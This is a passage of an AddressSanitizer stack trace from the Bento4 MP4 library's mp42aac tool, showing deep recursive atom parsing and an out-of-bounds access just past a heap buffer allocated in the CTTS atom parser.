#12 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#13 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#14 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#15 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#16 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#17 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#18 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#19 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#20 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#21 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#22 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#23 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#24 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#25 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#26 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#27 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#28 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#29 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#30 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#31 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#32 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#33 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#34 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#35 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#36 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#37 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#38 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#39 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#40 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#41 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#42 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#43 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#44 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#45 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#46 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#47 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#48 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#49 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#50 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#51 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#52 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#53 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#54 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#55 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#56 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#57 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#58 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#59 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#60 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#61 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#62 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#63 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#64 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#65 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#66 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#67 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#68 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#69 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#70 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#71 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#72 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#73 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#74 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#75 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#76 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#77 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#78 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#79 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#80 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#81 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#82 0x598644 in AP4_VisualSampleEntry::AP4_VisualSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4SampleEntry.cpp:742:5
#83 0x598644 in AP4_AvcSampleEntry::AP4_AvcSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4SampleEntry.cpp:994
#84 0x5d3e82 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:318:24
#85 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#86 0x59de4e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4StsdAtom.cpp:101:13
#87 0x59c6e5 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4StsdAtom.cpp:57:16
#88 0x5d4507 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:444:20
#89 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#90 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#91 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#92 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#93 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#94 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#95 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#96 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#97 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#98 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#99 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#100 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#101 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#102 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#103 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#104 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#105 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#106 0x60e126 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#107 0x5a3e4b in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4TrakAtom.cpp:165:5
#108 0x5d37f8 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4TrakAtom.h:58:20
#109 0x5d37f8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:399
#110 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#111 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#112 0x60e126 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#113 0x57ccec in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4MoovAtom.cpp:79:5
#114 0x5d4251 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4MoovAtom.h:56:20
#115 0x5d4251 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:379
#116 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#117 0x5d21eb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:153:12
#118 0x57920e in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4File.cpp:104:12
#119 0x5797bb in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4File.cpp:78:5
#120 0x571465 in main /home/natalie/Downloads/Bento4-master/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250:22
#121 0x7f479e6fc1e2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x271e2)
#122 0x45c96d in _start (/home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac-asan+0x45c96d)
0x607000001180 is located 0 bytes to the right of 80-byte region [0x607000001130,0x607000001180)
allocated by thread T0 here:
#0 0x56de20 in operator new[](unsigned long) /home/natalie/Research/LLVM/src/llvm-8.0.1.src/projects/compiler-rt/lib/asan/asan_new_delete.cc:109:3
#1 0x6110ed in AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4CttsAtom.cpp:80:29
#2 0x60fce2 in AP4_CttsAtom::Create(unsigned int, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4CttsAtom.cpp:52:16
#3 0x5d310c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:479:20
#4 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#5 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#6 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#7 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#8 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#9 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#10 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#11 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#12 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#13 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#14 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#15 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#16 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#17 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#18 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#19 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#20 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#21 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#22 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
